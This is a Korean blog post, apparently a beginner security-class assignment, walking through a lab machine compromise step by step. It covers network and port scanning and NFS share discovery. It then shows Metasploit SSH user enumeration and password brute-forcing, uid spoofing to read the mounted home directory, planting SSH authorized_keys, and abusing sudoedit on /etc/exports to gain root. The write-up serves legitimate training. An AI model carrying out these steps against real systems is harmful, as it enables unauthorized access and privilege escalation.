[normaltic 비기너 클래스 1기] 2023-09-20 Drill Course 2주차 과제 Task 2

2023. 9. 29. 06:44normaltic 비기너 클래스 1기/과제

 

Task 2

 

 

nmap -sn 192.168.74.1/24

 

같은 네트워크 대역대에 있는 공격대상의 IP 주소를 찾았다. 공격대상의 IP 주소는 '192.168.74.131'이다.

 

 

nmap -sCV 192.168.74.131 > scan_res

 

포트 스캔을 진행한 결과 여러 포트가 열려있는 것을 확인할 수 있다. 그중에 111번 포트가 열려있으므로 NFS 서비스를 제공하는 공유 디렉터리를 찾아본다.

 

 

showmount -e 192.168.74.131

 

showmount 명령어를 사용한 결과 '/home/vulnix' 디렉터리가 공유 디렉터리인 것을 확인할 수 있었다.

 

 

mkdir test
mount 192.168.74.131:/home/vulnix /tmp/test

 

공유 디렉터리와 mount 하기 위해 /tmp 디렉터리에 새로운 test라는 이름의 디렉터리를 생성한 후 mount 해준다.

 

 

cd test
ls -al

 

mount 된 test 디렉터리에 접근하려 했더니 권한 거부가 발생하였다. 그래서 확인해 봤더니 nobody로 출력된 것을 볼 수 있었다. 이는 어떤 권한으로 접근해야 하는지는 현재 상태론 알 수 없기 때문에 공격대상 시스템에 존재하는 사용자 계정이 어떤 것이 있는지 확인을 해봐야 한다.

 

 

msfconsole
search ssh enumeration
use 3

 

이를 위해 스캔 도구로 msfconsole을 사용한다. 

 

 

options
set rhosts 192.168.74.131
set user_file /usr/share/wordlists/metasploit/unix_users.txt

 

option에 필수 정보들을 입력하고 실행해본다.

 

 

run

 

실행 결과 찾아본 계정 중 가장 사용자 계정처럼 보이는 계정을 찾아본다. 'user'라는 계정이 가장 사용자 계정 같아 보이므로 해당 사용자 계정의 비밀번호를 브루트 포싱한다.

 

 

search ssh login
use 11
options
set rhosts 192.168.74.131
set username user
set threads 60
set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
set stop_on_success true
run

 

options에 필수 정보들을 입력 후에 실행한다.

 

 

실행 결과 user계정의 비밀번호는 'letmein'으로 확인되었다. 이제 이 정보를 가지고 공격대상 시스템에 접속해 보자.

 

 

ssh user@192.168.74.13
id
pwd

 

공격대상 시스템에 user 계정으로 접속 성공하였다.

 

 

cat /etc/passwd

 

해당 시스템의 계정 정보를 확인한 결과 'vulnix' 계정의 uid가 2008이라는 것을 확인할 수 있었다. 

 

 

useradd test --uid 2008
su test
cd test
ls -al

 

uid가 2008인 test 계정을 생성한 후 전환한 다음에 test 디렉터리에 접근하였더니 성공적으로 접근하였다. test 디렉터리의 파일리스트를 확인한 결과 vulnix 계정의 홈 디렉터리인 것을 알 수 있었다.

 

 

ssh-keygen -t rsa
ls -al

 

공격대상 시스템의 vulnix 계정으로 접속하기 위해서는 공유 디렉터리가 vulnix 계정의 홈 디렉터리이므로 공유 디렉터리에 개인키를 생성하게 되면 접속할 수 있다. 그래서 공유 디렉터리에 .ssh 디렉터리를 생성하고 해당 디렉터리에 ssh 키를 생성한다.

 

 

cp id_rsa.pub authorized_keys
chmod 755 authorized_keys
cp id_rsa /tmp
ls -al
cd /tmp
ssh -i id_rsa vulnix@192.168.74.131

 

개인키를 등록해 주고 vulnix 계정으로 접속을 시도했더니 비밀번호를 입력해야 한다고 한다. 그러나 개인키를 이용한 접속이기 때문에 이 문제는 개인키의 문제로 볼 수 있다.

 

 

ssh -i id_rsa vulnix@192.168.74.131 -o PubkeyAcceptedKeyTypes=ssh-rsa

 

개인키를 생성했을 때 rsa형식으로 생성했다는 것을 ssh 접속 시도 시 명시해 줘야 문제가 해결된다. 문제 해결 후 접속 했더니 vulnix 계정으로 접속 성공하였다.

 

 

sudo -l
cat /etc/exports

 

vulnix 계정으로 쉘을 획득했으니 어떤 sudo 명령어를 쓸 수 있는지 확인해 본 결과 /etc/exports 파일을 편집할 수 있다고 한다. 이 파일이 어떤 파일인지 확인해 보니 NFS 서비스를 제공하는 공유 디렉터리 리스트가 적혀있는 파일인 것을 확인할 수 있었다. 이는 곧 공유 디렉터리로 공격대상 시스템의 root 홈 디렉터리를 공유 디렉터리를 입력하고 지금까지 했던 작업을 반복하여 root 계정으로 접속하는 시나리오를 생각해 볼 수 있다.

 

 

cat /etc/passwd
sudo -l
sudoedit /etc/exports
cat /etc/exports

 

/etc/exports에 root 홈 디렉터리가 정상적으로 입력이 된 것을 확인할 수 있다. 이제 이 내용을 적용하기 위해 공격대상 시스템을 reboot을 실행해야 한다. 그러나 root 계정으로 밖에 reboot을 못하기 때문에 수동으로 reboot을 진행해 준다.

 

 

showmount -e 192.168.74.131

 

reboot 한 후 공유 디렉터리 리스트를 확인해 보니 제대로 입력이 완료된 것을 확인할 수 있었다.

 

 

mount 192.168.74.131:/root /tmp/test
cd test
ls -al

 

공유 디렉터리에 mount를 하여 정상적으로 mount 된 것을 확인할 수 있었다. 이제 해당 디렉터리에 개인키를 생성하여 root 계정으로 접속하는 방법을 진행한다.

 

 

mkdir .ssh
ssh-keygen -t rsa
cd .ssh
ls -al
cp id_rsa.pub authorized_keys
chmod 755 authorized_keys
cp id_rsa /tmp/id_rsa
cd /tmp
ls -al
ssh -i id_rsa root@192.168.74.131 -o PubkeyAcceptedKeyTypes=ssh-rsa

 

root 계정으로 접속하여 공격대상 시스템의 root 권한을 얻을 수 있었다.